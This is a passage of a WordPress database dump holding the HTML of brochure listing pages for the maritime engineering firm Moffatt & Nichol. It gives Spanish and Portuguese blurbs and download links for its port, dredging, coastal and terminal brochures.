19:02:08','2012-02-07 13:32:08','',0,'http://moffattnichol.com/spanish/?page_id=1957',49,'page','',0),(1991,1,'2012-02-09 13:46:04','2012-02-09 08:16:04','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n  <h3>folletos-europa/medio oriente</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol es un destacado consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/Air-quality.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Calidad del aire</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Proteger la calidad del aire es uno de los problemas más desafiantes que enfrenta la industria de transporte marítimo hoy en día. Los puertos de todo el mundo deben reducir significativamente las emisiones de las naves de carga<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/air-quality-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/AIR3QUALITY3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y científicos<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n   <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Terminales de cruceros y de transbordadores</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n         Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol tiene <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/cruise-and-ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\" http://moffattnichol.com/admin/upload_bro/CRUISE3FERRY3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n   <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÓN PORTUARIA</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas,<br />\r\n        <br />\r\n        <br />\r\n        &nbsp;\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n   <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/waterfront-managment.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de frentes costeros y puertos deportivos</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba en popularidad.<br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/waterfront-development-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\" http://moffattnichol.com/admin/upload_bro/WATERFRONT3FOR3PORTAL3UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/transportation.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Transporte</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La experiencia profesional en el transporte de Moffatt & Nichol une la experiencia profesional de ingeniería civil y estructural de la firma con nuestra comprensión única del movimiento de carga de contenedores y del transporte marítimo. Ofreciendo una gama completa de servicios integrados, <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/transportation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/TRANSPORTATION1FOR1PORTAL1UK.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Folletos-Europa/Medio Oriente','','publish','open','open','','brochures-europemiddle-east','','','2012-06-15 11:14:24','2012-06-15 11:14:24','',78,'http://moffattnichol.com/spanish/?page_id=1991',0,'page','',0),(1995,1,'2012-02-09 14:49:43','2012-02-09 09:19:43','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La reputación de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre años de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados en gestión de ingeniería y construcción para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingeniería y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n      Moffatt & Nichol se ha especializado en el planeamiento y el diseño de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda Norteamérica, Europa y Latinoamérica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Las áreas costeras de hoy en día son catalizadores de la actividad económica. La práctica de Moffatt & Nichol en áreas costeras y marinas se estableció en la década de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultoría e ingeniería marítimas internacionales más grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseño de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Reparación de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseño y la rehabilitación de astilleros e instalaciones para la reparación de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Energía eólica</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafíos de los proyectos de desarrollo de energía eólica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Con décadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marítimas, Moffatt & Nichol es reconocido como líder innovador en la planeación y diseño de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','publish','open','open','','brochures-spanish','','','2012-06-14 12:32:16','2012-06-14 12:32:16','',78,'http://moffattnichol.com/spanish/?page_id=1995',0,'page','',0),(1997,1,'2012-02-09 14:50:56','2012-02-09 09:20:56','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n   <h3>folletos-portugués</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n       <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n         A Moffatt & Nichol é sediada nos EUA e é líder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalações que moldam nossas costas, portos e rios, além disso, fornece soluções <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol, uma das principais empresas de planejamento e engenharia portuária do mundo, oferece aos clientes um conjunto completo de serviços de planejamento e projetos para terminais<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A reputação da Moffatt & Nichol pela excelência no ambiente costeiro foi construída durante anos de experiência em projetos desafiadores. Com base nessa experiência, a empresa hoje oferece aos clientes uma equipe altamente<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CEWR_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n       <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol, líder em engenharia costeira, está na vanguarda de serviços de engenharia especializados e de gestão de obras para projetos de dragagem em mar aberto, portos, áreas alagáveis costeiras, embocaduras e hidrovias interiores.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Como uma das maiores empresas especializadas em planejamento e engenharia portuária no mundo, a Moffatt & Nichol tem desempenhado um papel importante na evolução dos portos modernos. A empresa<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1AND1HARBORS_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt & Nichol se especializou no planejamento e concepção de projectos de construção civil pesada, incluindo instalações de transporte ferroviário, para clientes na América do Norte, <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Atualmente as orlas urbanas são catalisadoras de atividade econômica. Este ramo de atuação da Moffatt & Nichol foi criado em 1960 na medida em que a navegação recreacional se <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-portuguese/\" title=\"Ver\" >Ver</a> | <a 